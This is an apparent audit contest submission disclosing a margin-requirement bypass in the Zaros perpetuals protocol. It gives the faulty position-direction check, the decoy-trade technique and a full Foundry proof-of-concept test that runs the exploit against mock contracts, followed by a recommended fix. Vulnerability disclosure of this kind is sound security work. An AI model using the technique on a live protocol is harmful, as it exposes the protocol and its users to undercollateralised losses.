Submission Details
Severity:
Attack can game the system to access more leverage than whats allowed
Summary
An Attacker can game the system to access more leverage than whats allowed using two counter trades.
Vulnerability Details
Traders can trick the protocol into allowing their account to use less required margin than they should be allowed to use. When the protocol settles orders, it checks whether the account is increasing or decreasing an existing position. If an order is increasing a position, the required margin is set to the initial margin (which is a safe level for the protocol); when it is a decreasing an order, it is set to the maintenance margin, to allow users to de-risk their positions and avoid liquidation.
The issue is with how the protocol checks if an order is increasing or decreasing a position.
function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
Data storage self = Position.load(tradingAccountId, marketId);
// If position is being opened (size is 0) or if position is being increased (sizeDelta direction is same as
// position size)
// For a positive position, sizeDelta should be positive to increase, and for a negative position, sizeDelta
// should be negative to increase.
// This also implicitly covers the case where if it's a new position (size is 0), it's considered an increase.
@> return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
}
The protocol just compares the direction of the order size with the existing position size. On Zaros, positions less than zero size delta, are considered shorts, while those with greater than zero size delta are long, and traders can trade in any direction. A trader can game the system by first placing a small long/short trade as a decoy, and then placing their real order in the opposite direction.
The second order will be settled as an update order because it is in the opposite direction to their existing order. Its required margin will be set to the account's maintenance margin despite having enough balance to use the initial margin.
Proof of Concept
An attacker has a margin balance of $1000 and wants to place a long 10x leverage trade worth $10,000.
But the protocol requires an (initial) margin of $2000 to open a $10000 position i.e. max leverage of 5x.
However, the protocol would use the accounts maintenance margin of $900 if they are decreasing an existing position
So the attacker first creates a decoy short trade of $100 size delta which requires a $20 initial margin - 5x leverage
Then they follow up the trade with their real intention, which is a long update order with a size larger than what their initial margin can support
The order is strategically placed such that it is above the maintenance margin to prevent liquidation, but below the maintenance margin to access more leverage
Since the required margin will be set to the maintenance margin this time, it will be filled successfully.
Below is a snippet of how the required margin setting works.
function _fillOrder(){
// ...
ctx.isIncreasing = Position.isIncreasing(tradingAccountId, marketId, sizeDeltaX18.intoInt256().toInt128());
// ...
ctx.shouldUseMaintenanceMargin = !ctx.isIncreasing && !ctx.oldPositionSizeX18.isZero();
ctx.requiredMarginUsdX18 =
ctx.shouldUseMaintenanceMargin ? requiredMaintenanceMarginUsdX18 : requiredInitialMarginUsdX18;
// ...
}
Proof of Code
The proof of code below shows the exploit in action.
How to run the PoC
Create a new test file named
BugPoC.t.solintest/folder of the contest repoCopy the code below and paste it into the file.
Run the commands above the test functions in your CLI to run the test.
<details>
// SPDX-License-Identifier: UNLICENSED\
// Zaros dependencies\
import { Base\_Test } from "test/Base.t.sol";\
import { Errors } from "@zaros/utils/Errors.sol";\
import { ERC20, IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";\
import {console2} from "forge-std/console2.sol";\
import { MockERC20 } from "test/mocks/MockERC20.sol";\
import { MockPriceFeed } from "test/mocks/MockPriceFeed.sol";\
import { Users, User, MockPriceAdapters } from "test/utils/Types.sol";
import { UpgradeBranch } from "@zaros/tree-proxy/branches/UpgradeBranch.sol";\
import { LookupBranch } from "@zaros/tree-proxy/branches/LookupBranch.sol";\
import { GlobalConfigurationBranch } from "@zaros/perpetuals/branches/GlobalConfigurationBranch.sol";\
import { LiquidationBranch } from "@zaros/perpetuals/branches/LiquidationBranch.sol";\
import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";\
import { PerpMarketBranch } from "@zaros/perpetuals/branches/PerpMarketBranch.sol";\
import { TradingAccountBranch } from "@zaros/perpetuals/branches/TradingAccountBranch.sol";\
import { SettlementBranch } from "@zaros/perpetuals/branches/SettlementBranch.sol";\
import { MarginCollateralConfiguration } from "@zaros/perpetuals/leaves/MarginCollateralConfiguration.sol";\
import { Position } from "@zaros/perpetuals/leaves/Position.sol";\
import { MarketOrder } from "@zaros/perpetuals/leaves/MarketOrder.sol";\
import { SettlementConfiguration } from "@zaros/perpetuals/leaves/SettlementConfiguration.sol";\
import { TradingAccountBranchTestnet } from "testnet/branches/TradingAccountBranchTestnet.sol";\
import { GlobalConfigurationHarness } from "test/harnesses/perpetuals/leaves/GlobalConfigurationHarness.sol";\
import { MarginCollateralConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarginCollateralConfigurationHarness.sol";\
import { MarketConfigurationHarness } from "test/harnesses/perpetuals/leaves/MarketConfigurationHarness.sol";\
import { MarketOrderHarness } from "test/harnesses/perpetuals/leaves/MarketOrderHarness.sol";\
import { PerpMarketHarness } from "test/harnesses/perpetuals/leaves/PerpMarketHarness.sol";\
import { PositionHarness } from "test/harnesses/perpetuals/leaves/PositionHarness.sol";\
import { SettlementConfigurationHarness } from "test/harnesses/perpetuals/leaves/SettlementConfigurationHarness.sol";\
import { TradingAccountHarness } from "test/harnesses/perpetuals/leaves/TradingAccountHarness.sol";\
import {LiquidationKeeper} from "@zaros/external/chainlink/keepers/liquidation/LiquidationKeeper.sol";\
import {MarketOrderKeeper} from "@zaros/external/chainlink/keepers/market-order/MarketOrderKeeper.sol";\
// PRB Math dependencies\
import { UD60x18, ud60x18, ZERO as UD60x18\_ZERO, convert as ud60x18Convert } from "@prb-math/UD60x18.sol";\
import {SD59x18,sd59x18, unary, UNIT as SD\_UNIT, ZERO as SD59x18\_ZERO, convert as sd59x18Convert} from "@prb-math/SD59x18.sol";
contract BugPoC is Base\_Test {
```Solidity
///////////// SETUP //////////////
address[] internal USERS;
MockERC20[] internal EXTERNAL_TOKENS;
address internal BOB;
address internal ALICE;
address internal defaultUser; // defaultUser
address USDC;
address wBTC;
address weETH;
uint256 internal constant INITIAL_USDC_BALANCE = 1_000_000;
uint256 internal constant INITIAL_WEETH_BALANCE = 100_000;
uint256 internal constant INITIAL_WBTC_BALANCE = 10_000;
MockPriceFeed btcPriceFeed;
MockPriceFeed ethPriceFeed;
function setUp() public override {
Base_Test.setUp();
changePrank({ msgSender: users.owner.account });
configureSystemParameters();
createPerpMarkets();
EXTERNAL_TOKENS = new MockERC20[](3);
EXTERNAL_TOKENS[0] = usdc;
EXTERNAL_TOKENS[1] = weEth;
EXTERNAL_TOKENS[2] = wBtc;
USDC = address(usdc);
wBTC = address(wBtc);
weETH = address(weEth);
btcPriceFeed = MockPriceFeed(marketsConfig[1].priceAdapter);
ethPriceFeed = MockPriceFeed(marketsConfig[2].priceAdapter);
BOB = users.naruto.account;
ALICE = users.sasuke.account;
USERS = new address[](2);
USERS[0] = BOB;
USERS[1] = ALICE;
_topUpUsers();
vm.stopPrank();
}
function _topUpUsers() internal {
address user;
for (uint8 i = 0; i < USERS.length; i++) {
user = USERS[i];
EXTERNAL_TOKENS[0].mint(user, INITIAL_USDC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[1].mint(user, INITIAL_WEETH_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
EXTERNAL_TOKENS[2].mint(user, INITIAL_WBTC_BALANCE * (10 ** EXTERNAL_TOKENS[0].decimals()));
}
}
function clampBetween(
uint256 value,
uint256 low,
uint256 high
) internal pure returns (uint256) {
if (value < low || value > high) {
uint ans = low + (value % (high - low + 1));
return ans;
}
return value;
}
modifier updateMockPriceFeedBtcEth(uint256 _btcNewPrice, uint256 _ethNewPrice) {
uint256 btcNewPrice = clampBetween(_btcNewPrice, 10_000e18, 100_000e18);
uint256 ethNewPrice = clampBetween(_ethNewPrice, 500e18, 10_000e18);
updateMockPriceFeed(1, btcNewPrice);
updateMockPriceFeed(2, ethNewPrice);
_;
}
function getPriceUint(MockPriceFeed priceFeed) internal view returns (uint256) {
(, int256 answer,,,) = priceFeed.latestRoundData();
return uint256(answer);
}
function performLiquidation(uint128 nextAccountId) internal {
LiquidationKeeper liquidationKeeper_ = LiquidationKeeper(liquidationKeeper);
uint256 checkLowerBound = 0;
uint256 checkUpperBound = uint256(nextAccountId);
uint256 performLowerBound = 0;
uint256 performUpperBound = checkUpperBound + 1;
if (checkUpperBound < 1) return;
bytes memory data = abi.encode(checkLowerBound, checkUpperBound, performLowerBound, performUpperBound);
(bool upkeepNeeded, bytes memory performData) = liquidationKeeper_.checkUpkeep(data);
if (upkeepNeeded) {
vm.startPrank(users.keepersForwarder.account);
liquidationKeeper_.performUpkeep(performData);
vm.stopPrank();
}
}
struct TestHelper {
uint256 oldBtcPrice;
uint256 oldEthPrice;
uint256 btcNewPrice;
uint256 ethNewPrice;
uint256 price;
bytes32 streamId;
uint256 priceBtcChange;
uint256 priceEthChange;
OrderBranch.CreateMarketOrderParams params;
}
function _performOrderExecution(uint256 marketId, uint128 tradingAccountId, bool isIncrease) internal {
TestHelper memory helper;
helper.oldBtcPrice = getPriceUint(btcPriceFeed);
helper.oldEthPrice = getPriceUint(ethPriceFeed);
helper.btcNewPrice;
helper.ethNewPrice;
helper.price;
helper.streamId = marketsConfig[marketId].streamId;
helper.priceBtcChange = helper.oldBtcPrice % 100e18;
helper.priceEthChange = helper.oldEthPrice % 10e18;
if(isIncrease) {
helper.btcNewPrice = helper.oldBtcPrice + helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice + helper.priceEthChange;
} else {
helper.btcNewPrice = helper.oldBtcPrice - helper.priceBtcChange;
helper.ethNewPrice = helper.oldEthPrice - helper.priceEthChange;
}
btcPriceFeed.updateMockPrice(helper.btcNewPrice);
ethPriceFeed.updateMockPrice(helper.ethNewPrice);
address marketOrderKeeper_ = marketOrderKeepers[marketId];
MarketOrderKeeper marketOrderKeeper = MarketOrderKeeper(marketOrderKeeper_);
if (marketId == 1) {
helper.price = getPriceUint(btcPriceFeed);
} else {
helper.price = getPriceUint(ethPriceFeed);
}
bytes memory mockSignedReport = getMockedSignedReport(helper.streamId, helper.price);
vm.startPrank(users.owner.account);
marketOrderKeeper.setForwarder(users.keepersForwarder.account);
vm.stopPrank();
bytes memory performData = abi.encode(mockSignedReport, abi.encode(tradingAccountId));
vm.startPrank(users.keepersForwarder.account);
marketOrderKeeper.performUpkeep(performData);
vm.stopPrank();
}
function tradingAccountBranch_createTradingAccount(
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) returns(uint128 _tradingAccountId){
return perpsEngine.createTradingAccount(bytes(""), false) ;
}
/// depositMargin
function tradingAccountBranch_depositMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.depositMargin(_tradingAccountId, collateralType, _amount);
}
/// withdrawMargin
function tradingAccountBranch_withdrawMargin(
uint128 _tradingAccountId,
address collateralType,
uint256 _amount,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
perpsEngine.withdrawMargin(_tradingAccountId, collateralType, _amount);
}
/// createMarketOrder
function orderBranch_createMarketOrder(
uint128 _tradingAccountId,
bool _buyBtc,
int128 sizeDelta,
bool isIncrease,
uint256 _btcNewPrice,
uint256 _ethNewPrice
) public updateMockPriceFeedBtcEth(_btcNewPrice, _ethNewPrice) {
TestHelper memory helper;
helper.params.tradingAccountId = _tradingAccountId;
helper.params.marketId = _buyBtc ? 1 : 2;
helper.params.sizeDelta = sizeDelta;
perpsEngine.createMarketOrder(helper.params);
_performOrderExecution(helper.params.marketId, helper.params.tradingAccountId, isIncrease);
}
///////////// TEST //////////////
//////////////// Test position margin requirement ////////////////
struct TestHelperStruct {
bool _buyBtc1;
bool isIncrease1;
uint128 _tradingAccountId1;
int128 sizeDelta1;
uint256 _btcNewPrice1;
uint256 _ethNewPrice1;
bool _buyBtc2;
bool isIncrease2;
int128 sizeDelta2;
uint128 _tradingAccountId2;
uint256 _btcNewPrice2;
uint256 _ethNewPrice2;
SD59x18 before_marginBalanceUsdX18;
SD59x18 after_marginBalanceUsdX18;
UD60x18 before_initialMarginUsdX18;
UD60x18 after_initialMarginUsdX18;
UD60x18 before_maintenanceMarginUsdX18;
UD60x18 after_maintenanceMarginUsdX18;
SD59x18 before_availableMarginUsdX18;
SD59x18 after_availableMarginUsdX18;
}
// forge test --match-test "testGameTheMarginRequirement"
function testGameTheMarginRequirement() public{
TestHelperStruct memory helper;
// order one
helper._buyBtc1 = true;
helper.isIncrease1 = false;
helper._tradingAccountId1 = 1;
helper.sizeDelta1 = 5e18; // reverts with InsufficientMargin if you try to create an order with 10e18
helper._btcNewPrice1 = 10000000000000000000000;
helper._ethNewPrice1 = 500000000000000000000;
// order two
helper._buyBtc2 = true;
helper.isIncrease2 = false;
// note that the first trade reverts with InsufficientMargin but this second trade does not
// despite the sizeDelta being thesame as the first trade
// -5e18 to close the existing position, and -10e18 to open a new position
helper.sizeDelta2 = -15e18;
helper._btcNewPrice2 = 10000000000000000000000;
helper._ethNewPrice2 = 510000000000000000000;
vm.warp(1 hours);
/// Create 2 trading accounts
vm.startPrank(BOB);
tradingAccountBranch_createTradingAccount(100_000e18, 10_000e18); // id 1
vm.warp(1 hours);
vm.startPrank(BOB);
tradingAccountBranch_depositMargin(1, USDC, 1000e6, 100_000e18, 10_000e18); // deposit 1000e6 USDC : $1000 margin balance
UD60x18 leverage0 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
(,, uint128 initialMarginRateX18,,,,,,) = perpsEngine.getPerpMarketConfiguration(1); // BTCUSD marketId is one
vm.warp(1 hours);
vm.startPrank(BOB);
orderBranch_createMarketOrder(helper._tradingAccountId1, helper._buyBtc1, helper.sizeDelta1, helper.isIncrease1, helper._btcNewPrice1, helper._ethNewPrice1);
(helper.before_marginBalanceUsdX18, helper.before_initialMarginUsdX18, helper.before_maintenanceMarginUsdX18, helper.before_availableMarginUsdX18) = perpsEngine.getAccountMarginBreakdown(helper._tradingAccountId1);
UD60x18 leverage1 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
vm.warp(1 hours);
// This trade uses more than the before_availableMarginUsdX18 and as a result sends the new available margin into negative territory
vm.startPrank(BOB);
orderBranch_createMarketOrder(helper._tradingAccountId1, helper._buyBtc2, helper.sizeDelta2, helper.isIncrease2, helper._btcNewPrice2, helper._ethNewPrice2);
(helper.after_marginBalanceUsdX18, helper.after_initialMarginUsdX18, helper.after_maintenanceMarginUsdX18, helper.after_availableMarginUsdX18) = perpsEngine.getAccountMarginBreakdown(helper._tradingAccountId1);
UD60x18 leverage2 = perpsEngine.getAccountLeverage(helper._tradingAccountId1);
console2.log("initialMarginRateX18 : ", uint256(initialMarginRateX18));
console2.log("Leverage 0: ", leverage0.intoUint256());
console2.log("Leverage 1: ", leverage1.intoUint256());
console2.log("Leverage 2: ", leverage2.intoUint256());
console2.log("before_marginBalanceUsdX18: ", helper.before_marginBalanceUsdX18.intoUD60x18().intoUint256()); // abs()
console2.log("before_initialMarginUsdX18: ", helper.before_initialMarginUsdX18.intoUint256());
console2.log("before_availableMarginUsdX18: ", helper.before_availableMarginUsdX18.intoUint256());
console2.log("after_marginBalanceUsdX18: ", helper.after_marginBalanceUsdX18.intoUD60x18().intoUint256());
console2.log("after_initialMarginUsdX18: ", helper.after_initialMarginUsdX18.intoUint256());
// we convert the after_availableMarginUsdX18 to an absolute value so that it doesn't revert with underflow/overflow
console2.log("after_availableMarginUsdX18: ", helper.after_availableMarginUsdX18.abs().intoUD60x18().intoUint256()); // .abs().intoUD60x18()
}
}
</details>
Impact
If a user manages to bypass the margin requirements, the protocol is at risk of losing funds. A user could open a position that exceeds their margin balance and then the protocol would be responsible for covering the losses if the market moves against the user.
Tools Used
Manual
Foundry
Recommendations
Only allow the use of maintenance margin if the counter order size delta doesn't push the new position size past zero.
Updates
Lead Judging Commences
inallhonesty
11 months ago
inallhonesty 11 months ago
Submission Judgement Published Assigned finding tags:
Disable market limitation can be bypassed
Prize pool breakdown
Total prize
60,000 USDC
nSLOC
2,87821 USDC / LOC
50,000 USDC
5,500 USDC
4,500 USDC
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.